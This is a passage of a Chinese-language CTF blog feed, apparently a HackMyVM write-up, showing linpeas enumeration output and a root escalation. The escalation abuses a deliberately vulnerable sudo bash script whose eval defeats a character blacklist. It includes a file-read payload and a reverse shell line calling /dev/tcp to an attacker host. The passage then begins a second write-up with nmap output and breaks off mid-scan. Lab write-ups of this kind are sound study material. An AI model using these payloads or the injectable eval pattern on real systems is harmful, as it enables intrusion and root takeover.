2026-01-13+04:14:19.9630547680 /tmp/repeater.sh
2025-04-11+22:22:32.8990844810 /etc/grub.d/10_linux
2025-04-11+22:07:00.9628442610 /etc/grub.d/40_custom
2025-04-05+08:32:38.1253354200 /usr/local/bin/irc_bot.py
2025-04-01+03:55:32.0919414020 /usr/local/bin/calc-prorate

╔══════════╣ Unexpected in /opt (usually empty)
total 16                                             
drwxr-xr-x  2 root root 4096 Dec 30 00:25 .
drwxr-xr-x 18 root root 4096 Mar 18  2025 ..
-rw-r--r--  1 root root   21 Dec 30 00:04 passwd.txt
-rw-r--r--  1 root root 1240 Dec 30 00:25 repeater.sh

╔══════════╣ Unexpected in root
/initrd.img.old                                      
/vmlinuz.old
/vmlinuz
/initrd.img

╔══════════╣ Modified interesting files in the last 5mins (limit 100)                                     
/home/rin/.gnupg/trustdb.gpg                         
/home/rin/.gnupg/pubring.kbx
/var/log/syslog
/var/log/auth.log
/var/log/daemon.log
/var/log/journal/52a22a6e47cb4a5995fb43c3554baa0e/system.journal
/var/log/journal/52a22a6e47cb4a5995fb43c3554baa0e/user-1000.journal

╔══════════╣ Writable log files (logrotten) (limit 50)                                                    
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#logrotate-exploitation  
logrotate 3.14.0                                     

    Default mail command:       /usr/bin/mail
    Default compress command:   /bin/gzip
    Default uncompress command: /bin/gunzip
    Default compress extension: .gz
    Default state file path:    /var/lib/logrotate/status
    ACL support:                yes
    SELinux support:            yes
╔══════════╣ Syslog configuration (limit 50)
                                                     


module(load=&amp;quot;imuxsock&amp;quot;) # provides support for local system logging                                       
module(load=&amp;quot;imklog&amp;quot;)   # provides kernel logging support                                                 





$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat                                                  

$FileOwner root
$FileGroup adm
$FileCreateMode 0640
$DirCreateMode 0755
$Umask 0022

$WorkDirectory /var/spool/rsyslog

$IncludeConfig /etc/rsyslog.d/*.conf



auth,authpriv.*                 /var/log/auth.log
*.*;auth,authpriv.none          -/var/log/syslog
daemon.*                        -/var/log/daemon.log
kern.*                          -/var/log/kern.log
lpr.*                           -/var/log/lpr.log
mail.*                          -/var/log/mail.log
user.*                          -/var/log/user.log

mail.info                       -/var/log/mail.info
mail.warn                       -/var/log/mail.warn
mail.err                        /var/log/mail.err

*.=debug;\
        auth,authpriv.none;\
        news.none;mail.none     -/var/log/debug
*.=info;*.=notice;*.=warn;\
        auth,authpriv.none;\
        cron,daemon.none;\
        mail,news.none          -/var/log/messages

*.emerg                         :omusrmsg:*
╔══════════╣ Auditd configuration (limit 50)
auditd configuration Not Found                       
╔══════════╣ Log files with potentially weak perms (limit 50)                                             
   130852      8 -rw-r-----   1 root     adm          7408 Apr 11  2025 /var/log/auth.log.3.gz            
   134085      0 -rw-r-----   1 root     adm             0 Jan 13 03:11 /var/log/debug                    
   130854     48 -rw-r-----   1 root     adm         44033 Jan 13 03:11 /var/log/daemon.log.1             
   132336      4 -rw-r-----   1 root     adm          1690 Apr 11  2025 /var/log/user.log.1               
   130894     12 -rw-r-----   1 root     adm         11876 Mar 31  2025 /var/log/apt/term.log.2.gz        
   131235      0 -rw-r-----   1 root     adm             0 Dec 30 00:40 /var/log/apt/term.log             
   131930     12 -rw-r-----   1 root     adm         10140 Apr 11  2025 /var/log/apt/term.log.1.gz        
   133899      4 -rw-r-----   1 root     adm           644 Jan 13 03:50 /var/log/kern.log                 
   130901     16 -rw-r-----   1 root     adm         14696 Jan 13 04:24 /var/log/syslog                   
   133518      4 -rw-r-----   1 root     adm          1697 Jan 13 03:11 /var/log/auth.log.1               
   133698     88 -rw-r-----   1 root     adm         86101 Dec 29 23:05 /var/log/kern.log.2.gz            
   133984     12 -rw-r-----   1 root     adm          9209 Jan 13 04:24 /var/log/auth.log                 
   130853    196 -rw-r-----   1 root     adm        198715 Apr 11  2025 /var/log/messages.3.gz            
   130857     16 -rw-r-----   1 root     adm         13708 Apr 11  2025 /var/log/debug.3.gz               
   133311     16 -rw-r-----   1 root     adm         14763 Apr 11  2025 /var/log/syslog.4.gz              
   132383      0 -rw-r-----   1 irc      adm             0 Mar 31  2025 /var/log/inspircd.log             
   130851    116 -rw-r-----   1 root     adm        115888 Jan 13 03:11 /var/log/syslog.1                 
   133005     12 -rw-r-----   1 root     adm          9531 Dec 29 23:05 /var/log/daemon.log.2.gz          
   132995     44 -rw-r-----   1 root     adm         41915 Apr  3  2025 /var/log/syslog.7.gz              
   133942     16 -rw-r-----   1 root     adm         13986 Jan 13 03:11 /var/log/debug.1                  
   134073    108 -rw-r-----   1 root     adm        107529 Dec 29 23:05 /var/log/syslog.3.gz              
   133873      4 -rw-r-----   1 root     adm          2228 Dec 29 23:05 /var/log/auth.log.2.gz            
   133202      4 -rw-r-----   1 root     adm          3559 Dec 30 00:00 /var/log/syslog.2.gz              
   132238      4 -rw-------   1 irc      irc           328 Mar 31  2025 /var/log/ircd/ircd-hybrid-user.log
   132234      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-oper.log
   132224      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-kill.log
   132227      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-dline.log                                                    
   132240      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-debug.log                                                    
   132226      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-kline.log                                                    
   132233      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-resv.log
   132231      0 -rw-------   1 irc      irc             0 Mar 30  2025 /var/log/ircd/ircd-hybrid-xline.log                                                    
   131094     16 -rw-r-----   1 root     adm         13851 Apr  4  2025 /var/log/syslog.6.gz              
   130855    224 -rw-r-----   1 root     adm        228576 Apr 11  2025 /var/log/kern.log.3.gz            
   133876      8 -rw-r-----   1 root     adm          4801 Dec 29 23:05 /var/log/debug.2.gz               
   133892     12 -rw-r-----   1 root     adm         11079 Jan 13 04:24 /var/log/daemon.log               
   133881     76 -rw-r-----   1 root     adm         77465 Dec 29 23:05 /var/log/messages.2.gz            
   133319     52 -rw-r-----   1 root     adm         50014 Apr 11  2025 /var/log/daemon.log.3.gz          
   133841      0 -rw-r-----   1 root     adm             0 Dec 29 23:05 /var/log/user.log                 
   134099      4 -rw-r-----   1 root     adm           794 Jan 13 03:50 /var/log/messages                 
   133852     88 -rw-r-----   1 root     adm         89768 Apr  5  2025 /var/log/syslog.5.gz              
   133953     76 -rw-r-----   1 root     adm         74947 Jan 13 03:11 /var/log/messages.1               
   133387     88 -rw-r-----   1 root     adm         88579 Jan 13 03:11 /var/log/kern.log.1               

╔══════════╣ Files inside /home/rin (limit 20)
total 28                                             
drwx------ 3 rin  rin  4096 Jan 13 04:24 .
drwxr-xr-x 3 root root 4096 Dec 29 23:06 ..
lrwxrwxrwx 1 root root    9 Dec 29 23:07 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 rin  rin   220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 rin  rin  3526 Apr 18  2019 .bashrc
drwx------ 3 rin  rin  4096 Jan 13 04:24 .gnupg
-rw-r--r-- 1 rin  rin   807 Apr 18  2019 .profile
-rw------- 1 rin  rin    44 Dec 30 00:29 user.txt

╔══════════╣ Files inside others home (limit 20)
/var/www/html/config.php                             
/var/www/html/item.php
/var/www/html/login.php
/var/www/html/logout.php
/var/www/html/index.php

╔══════════╣ Searching installed mail applications
                                                     
╔══════════╣ Mails (limit 50)
                                                     
╔══════════╣ Backup folders
drwxr-xr-x 2 root root 4096 Dec 29 23:43 /var/backups
total 40
-rw-r--r-- 1 root root 23836 Dec 29 23:12 apt.extended_states.0
-rw-r--r-- 1 root root  2556 Apr  4  2025 apt.extended_states.1.gz
-rw-r--r-- 1 root root  2006 Apr  1  2025 apt.extended_states.2.gz
-rw-r--r-- 1 root root  1542 Apr  1  2025 apt.extended_states.3.gz
-rw-r--r-- 1 root root   757 Mar 30  2025 apt.extended_states.4.gz


╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 9731 Jun 30  2022 /usr/lib/modules/4.19.0-21-amd64/kernel/drivers/net/team/team_mode_activebackup.ko
-rw-r--r-- 1 root root 9731 Jun 25  2024 /usr/lib/modules/4.19.0-27-amd64/kernel/drivers/net/team/team_mode_activebackup.ko
-rw-r--r-- 1 root root 416107 Dec 21  2020 /usr/share/doc/manpages/Changes.old.gz
-rw-r--r-- 1 root root 194817 Oct  9  2020 /usr/share/doc/x11-common/changelog.Debian.old.gz

╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)                          
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3027002

 -&amp;gt; Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)
                                                     
╔══════════╣ Web files?(output limit)
/var/www/:                                           
total 12K
drwxr-xr-x  3 root     root     4.0K Apr  4  2025 .
drwxr-xr-x 12 root     root     4.0K Apr  1  2025 ..
drwxr-xr-x  2 www-data www-data 4.0K Dec 30 00:01 html

/var/www/html:
total 44K
drwxr-xr-x 2 www-data www-data 4.0K Dec 30 00:01 .
drwxr-xr-x 3 root     root     4.0K Apr  4  2025 ..

╔══════════╣ All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70) 
-rw-r--r-- 1 root root 0 Jan 13 03:11 /run/network/.ifstate.lock
-rw-r--r-- 1 root root 0 Feb 22  2021 /usr/share/dictionaries-common/site-elisp/.nosearch
-rw-r--r-- 1 rin rin 220 Apr 18  2019 /home/rin/.bash_logout
-rw-r--r-- 1 root root 220 Apr 18  2019 /etc/skel/.bash_logout
-rw------- 1 root root 0 Mar 18  2025 /etc/.pwd.lock

╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)                          
-rwxr-xr-x 1 rin rin 25 Jan 13 04:14 /tmp/repeater.sh
-rwxrwxrwx 1 rin rin 971926 Jan 13 04:23 /tmp/linpeas.sh

╔══════════╣ Searching passwords in history files
/usr/share/rubygems-integration/all/gems/rake-13.0.3/lib/rake/thread_history_display.rb:      @stats   = stats
/usr/share/rubygems-integration/all/gems/rake-13.0.3/lib/rake/thread_history_display.rb:      @items   = { _seq_: 1  }
/usr/share/rubygems-integration/all/gems/rake-13.0.3/lib/rake/thread_history_display.rb:      @threads = { _seq_: &amp;quot;A&amp;quot; }

╔══════════╣ Searching passwords in config PHP files
                                                     
╔══════════╣ Searching *password* or *credential* files in home (limit 70)                                
/etc/pam.d/common-password                           
/usr/bin/systemd-ask-password
/usr/bin/systemd-tty-ask-password-agent
/usr/lib/grub/i386-pc/legacy_password_test.mod
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/usr/lib/ruby/2.7.0/bundler/uri_credentials_filter.rb
/usr/lib/systemd/systemd-reply-password
/usr/lib/systemd/system/multi-user.target.wants/systemd-ask-password-wall.path
/usr/lib/systemd/system/sysinit.target.wants/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.service
/usr/lib/systemd/system/systemd-ask-password-wall.path
/usr/lib/systemd/system/systemd-ask-password-wall.service
  #)There are more creds/passwds files in the previous parent folder

/usr/lib/x86_64-linux-gnu/libmariadb3/plugin/mysql_clear_password.so
/usr/lib/x86_64-linux-gnu/libmariadb3/plugin/sha256_password.so                                           
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/include/mysql/get_password.h
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/include/mysql/plugin_validate_password.h
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/include/mysql/service_mysql_password_policy.h
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/include/plugin_validate_password.h
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/lib/plugin/debug/validate_password.so
/usr/local/mysql-5.7.38-linux-glibc2.12-x86_64/lib/plugin/validate_password.so
/usr/share/icons/Adwaita/16x16/legacy/dialog-password.png
/usr/share/icons/Adwaita/16x16/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/22x22/legacy/dialog-password.png
/usr/share/icons/Adwaita/24x24/legacy/dialog-password.png
/usr/share/icons/Adwaita/24x24/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/256x256/legacy/dialog-password.png                                               
/usr/share/icons/Adwaita/32x32/legacy/dialog-password.png
/usr/share/icons/Adwaita/32x32/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/48x48/legacy/dialog-password.png
/usr/share/icons/Adwaita/48x48/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/64x64/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/96x96/status/dialog-password-symbolic.symbolic.png
/usr/share/icons/Adwaita/scalable/status/dialog-password-symbolic.svg                                     
/usr/share/man/man1/systemd-ask-password.1.gz
/usr/share/man/man1/systemd-tty-ask-password-agent.1.gz
/usr/share/man/man7/credentials.7.gz
/usr/share/man/man8/systemd-ask-password-console.path.8.gz
/usr/share/man/man8/systemd-ask-password-console.service.8.gz
/usr/share/man/man8/systemd-ask-password-wall.path.8.gz
/usr/share/man/man8/systemd-ask-password-wall.service.8.gz
  #)There are more creds/passwds files in the previous parent folder

/usr/share/pam/common-password.md5sums
/var/cache/debconf/passwords.dat
/var/lib/pam/password

╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs                                           
                                                     
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs                                           
                                                     
╔══════════╣ Searching passwords inside logs (limit 70)                                                   
Binary file /var/log/journal/52a22a6e47cb4a5995fb43c3554baa0e/user-1000.journal matches
/var/log/installer/status:Description: Set up users and passwords

╔══════════╣ Checking all env variables in /proc/*/environ removing duplicates and filtering out useless env vars                                              
HOME=/home/rin                                       
LANG=en_US.UTF-8
_=./linpeas.sh
LISTEN_FDNAMES=dbus.socket
LISTEN_FDS=1
LOGNAME=rin
MANAGERPID=1369
NOTIFY_SOCKET=/run/systemd/notify
OLDPWD=/etc/cron.d
PWD=/tmp
SHELL=/bin/bash
SHLVL=1
SSH_CLIENT=192.168.0.106 49106 22
SSH_CONNECTION=192.168.0.106 49106 192.168.0.102 22
SSH_TTY=/dev/pts/1
TERM=xterm-256color
USER=rin
XDG_RUNTIME_DIR=/run/user/1000


                                ╔════════════════╗
════════════════════════════════╣ API Keys Regex ╠════════════════════════════════                        
                                ╚════════════════╝   
Regexes to search for API keys aren&amp;#39;t activated, use param &amp;#39;-r&amp;#39; 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权root&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@meltdown:/opt$ cat passwd.txt 
rin:b59a85af917afd07
(remote) www-data@meltdown:/opt$ cat repeater.sh 
#!/bin/bash

# 严格过滤但留有注入点的示例脚本
# 预期功能：安全地显示用户输入
# 隐藏漏洞：可通过特定方式绕过过滤执行命令

main() {
    local user_input=&amp;quot;$1&amp;quot;
    
    # 基础过滤：黑名单方式过滤危险字符
    if echo &amp;quot;$user_input&amp;quot; | grep -qE &amp;#39;[;&amp;amp;|`$\\]&amp;#39;; then
        echo &amp;quot;错误：输入包含非法字符&amp;quot;
        return 1
    fi
    
    # 关键字过滤
    if echo &amp;quot;$user_input&amp;quot; | grep -qiE &amp;#39;(cat|ls|echo|rm|mv|cp|chmod)&amp;#39;; then
        echo &amp;quot;错误：输入包含危险关键字&amp;quot;
        return 1
    fi
    
    # 空格限制（但允许特定形式的空格）
    if echo &amp;quot;$user_input&amp;quot; | grep -qE &amp;#39;[[:space:]]&amp;#39;; then
        if ! echo &amp;quot;$user_input&amp;quot; | grep -qE &amp;#39;^[a-zA-Z0-9]*[[:space:]]+[a-zA-Z0-9]*$&amp;#39;; then
            echo &amp;quot;错误：空格使用受限&amp;quot;
            return 1
        fi
    fi
    
    # 看似安全的输出处理
    echo &amp;quot;处理结果: $user_input&amp;quot;
    
    # 隐藏的注入点：特定环境变量未被过滤
    local sanitized_input=$(echo &amp;quot;$user_input&amp;quot; | tr -d &amp;#39;\n\r&amp;#39;)
    eval &amp;quot;output=\&amp;quot;$sanitized_input\&amp;quot;&amp;quot;
    echo &amp;quot;最终输出: $output&amp;quot;
}

# 脚本入口
if [ $# -ne 1 ]; then
    echo &amp;quot;用法: $0 &amp;lt;输入内容&amp;gt;&amp;quot;
    exit 1
fi

main &amp;quot;$1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bash 看到 &lt;code&gt;$(&lt;/code&gt; 会发生什么？&lt;/h3&gt;
&lt;p&gt;在 Bash 里：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$(whoami)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;意思是：&lt;/p&gt;
&lt;p&gt;先执行 &lt;code&gt;whoami&lt;/code&gt;&lt;br&gt;把它的输出&lt;br&gt;当成“字符串”插进当前位置&lt;/p&gt;
&lt;p&gt;例如你在 shell 里敲：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo &amp;quot;I am $(whoami)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果当前用户是 root，就变成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;I am root
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞点&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;; &amp;amp; | ` $ \
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;bash 里还有一整套 不用这些字符就能执行命令的机制：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;机制&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;进程替换&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;(cmd)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文件描述符&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/dev/fd/*&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;引号拼接&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;quot;a&amp;quot;&amp;quot;b&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;多行注入&lt;/td&gt;
&lt;td&gt;利用 grep + tr&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;重定向&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt; file&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo &amp;quot;$user_input&amp;quot; | grep -qE &amp;#39;[;&amp;amp;|`$\\]&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只防的是 第一层解析的字符&lt;/p&gt;
&lt;p&gt;它挡的是：你直接输入 &lt;code&gt;$&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但你利用的不是 &lt;code&gt;$&lt;/code&gt; 字符本身，&lt;br&gt;而是 Bash 在 eval 的第二次解析 里看到的 &lt;code&gt;$&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而 bash 真正执行是在 eval 时&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(cat|ls|echo|rm|mv|cp|chmod)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;^[a-zA-Z0-9]*[[:space:]]+[a-zA-Z0-9]*$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;bash 根本不需要空格：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cmd&amp;lt;/file
cmd&amp;lt;&amp;lt;&amp;lt;data
&amp;lt;(cmd)
&amp;lt;( ... )  //进程替换 → 变成一个 fd 路径
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sanitized_input=$(echo &amp;quot;$user_input&amp;quot; | tr -d &amp;#39;\n\r&amp;#39;)
eval &amp;quot;output=\&amp;quot;$sanitized_input\&amp;quot;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它等价于让 bash 把用户输入当成代码重新解析一遍。&lt;/p&gt;
&lt;p&gt;而你前面做的所有过滤，都是在 第一次解析，&lt;br&gt;但 &lt;code&gt;eval&lt;/code&gt; 会触发 第二次解析。&lt;/p&gt;
&lt;p&gt;所以总结为&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;读入 &lt;code&gt;$1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用 grep 黑名单过滤危险字符&lt;/li&gt;
&lt;li&gt;用 grep 过滤命令关键字&lt;/li&gt;
&lt;li&gt;限制空格用法&lt;/li&gt;
&lt;li&gt;&lt;code&gt;echo &amp;quot;处理结果: $user_input&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把输入再做一次处理并输出&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;方法一:读取flag&lt;/h4&gt;
&lt;p&gt;构造payload&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo /opt/repeater.sh &amp;#39;&amp;quot;&amp;lt;(tee&amp;lt;/root/root.txt&amp;gt;/dev/stderr)&amp;quot;&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;grep 看：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;quot;&amp;lt;(tee&amp;lt;/root/root.txt&amp;gt;/dev/stderr)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;→ 放行&lt;/p&gt;
&lt;p&gt;eval 执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;output=&amp;quot;&amp;quot;&amp;lt;(tee&amp;lt;/root/root.txt&amp;gt;/dev/stderr)&amp;quot;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;bash 执行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;tee&amp;lt;/root/root.txt&amp;gt;/dev/stderr
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;方法二：文件反弹shell&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;rin@meltdown:~$ vi /tmp/shell
bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.106/8888 0&amp;gt;&amp;amp;1&amp;#39;

rin@meltdown:~$ sudo /opt/repeater.sh &amp;#39;&amp;quot;&amp;lt;(sh&amp;lt;/tmp/shell)&amp;quot;&amp;#39;
处理结果: &amp;quot;&amp;lt;(sh&amp;lt;/tmp/shell)&amp;quot;
最终输出: /dev/fd/63
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) root@meltdown:/home/rin# whoami
root
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/meltdown/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/meltdown/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Codeshield</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/codeshield/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/codeshield/</guid><description>This VM will help prepare you for something like OSCP.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Codeshield-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
192.168.0.100   08:00:27:21:94:af       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-12 01:17 EST
Nmap scan report for 192.168.0.100
Host is up (0.0011s latency).
Not shown: 65522 closed tcp ports (conn-refused)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 1002     1002      2349914 Aug 30  2023 CodeShield_pitch_deck.pdf
| -rw-rw-r--    1 1003     1003        67520 Aug 28  2023 Information_Security_Policy.pdf
|_-rw-rw-r--    1 1004     1004       226435 Aug 28  2023 The_2023_weak_password_report.pdf
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.0.106
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp    open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 32:14:67:32:02:7a:b6:e4:7f:a7:22:0b:02:fd:ee:07 (RSA)
|   256 34:e4:d0:5d:bd:bc:9e:3f:4c:f9:1e:7d:3c:60:ce:6e (ECDSA)
|_  256 ef:3c:ff:f9:9a:a3:aa:7d:5a:82:73:b9:8c:b8:97:04 (ED25519)
25/tcp    open  smtp          Postfix smtpd
|_smtp-commands: SMTP: EHLO 521 5.5.1 Protocol error\x0D
80/tcp    open  http          nginx
|_http-title: Did not follow redirect to https://192.168.0.100/
110/tcp   open  pop3          Dovecot pop3d
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: AUTH-RESP-CODE SASL STLS PIPELINING TOP CAPA RESP-CODES UIDL
143/tcp   open  imap          Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: post-login IMAP4rev1 listed Pre-login have more ENABLE capabilities ID OK LOGIN-REFERRALS LOGINDISABLEDA0001 SASL-IR IDLE LITERAL+ STARTTLS
443/tcp   open  ssl/http      nginx
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
| http-robots.txt: 1 disallowed entry 
|_/
|_ssl-date: TLS randomness does not represent time
|_http-title: CodeShield - Home
465/tcp   open  ssl/smtp      Postfix smtpd
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: mail.codeshield.hmv, PIPELINING, SIZE 15728640, ETRN, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
587/tcp   open  smtp          Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: mail.codeshield.hmv, PIPELINING, SIZE 15728640, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
993/tcp   open  imaps?
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: post-login IMAP4rev1 listed Pre-login have more ENABLE capabilities ID OK LOGIN-REFERRALS AUTH=LOGINA0001 SASL-IR IDLE LITERAL+ AUTH=PLAIN
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
995/tcp   open  pop3s?
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
| Not valid before: 2023-08-26T09:34:43
|_Not valid after:  2033-08-23T09:34:43
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: AUTH-RESP-CODE USER SASL(PLAIN LOGIN) PIPELINING TOP CAPA RESP-CODES UIDL
